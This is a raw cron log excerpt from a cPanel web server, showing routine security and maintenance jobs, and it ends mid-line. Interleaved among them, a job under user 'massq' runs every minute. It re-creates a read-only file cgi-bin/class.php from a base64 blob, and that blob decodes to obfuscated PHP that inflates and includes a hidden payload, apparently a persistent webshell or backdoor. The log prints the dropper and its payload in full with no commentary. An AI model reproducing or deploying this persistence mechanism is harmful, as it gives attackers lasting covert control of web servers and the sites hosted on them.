Sep  5 23:58:01 server CROND[23430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:58:01 server CROND[23429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:58:01 server CROND[23431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:59:01 server CROND[23814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:59:01 server CROND[23815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:59:01 server CROND[23816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:00:01 server CROND[24356]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  6 00:00:01 server CROND[24358]: (root) CMD (/usr/sbin/csf --lfd restart > /dev/null 2>&1)
Sep  6 00:00:01 server CROND[24360]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 00:00:01 server CROND[24361]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 00:00:01 server CROND[24366]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 00:00:01 server CROND[24370]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 00:00:01 server CROND[24365]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  6 00:00:01 server CROND[24367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:00:01 server CROND[24369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:00:01 server CROND[24371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:00:01 server CROND[24368]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 00:01:01 server CROND[25383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:01:01 server CROND[25384]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:01:01 server CROND[25382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:01:01 server CROND[25387]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 00:01:01 server run-parts(/etc/cron.hourly)[25387]: starting 0anacron
Sep  6 00:01:01 server anacron[25405]: Anacron started on 2026-09-06
Sep  6 00:01:01 server anacron[25405]: Normal exit (0 jobs run)
Sep  6 00:01:01 server run-parts(/etc/cron.hourly)[25407]: finished 0anacron
Sep  6 00:02:01 server CROND[25795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:02:01 server CROND[25796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:02:01 server CROND[25797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:03:01 server CROND[26243]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:03:01 server CROND[26244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:03:01 server CROND[26245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:04:01 server CROND[26625]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:04:01 server CROND[26626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:04:01 server CROND[26624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:05:01 server CROND[27022]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 00:05:01 server CROND[27023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:05:01 server CROND[27024]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 00:05:01 server CROND[27030]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 00:05:01 server CROND[27031]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 00:05:01 server CROND[27028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:05:01 server CROND[27029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:05:01 server CROND[27032]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 00:06:01 server CROND[27870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:06:01 server CROND[27871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:06:01 server CROND[27872]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:07:01 server CROND[28360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:07:01 server CROND[28361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:07:01 server CROND[28362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:08:01 server CROND[28750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:08:01 server CROND[28752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:08:01 server CROND[28751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:09:01 server CROND[29134]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 00:09:01 server CROND[29137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:09:01 server CROND[29136]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:09:01 server CROND[29138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQK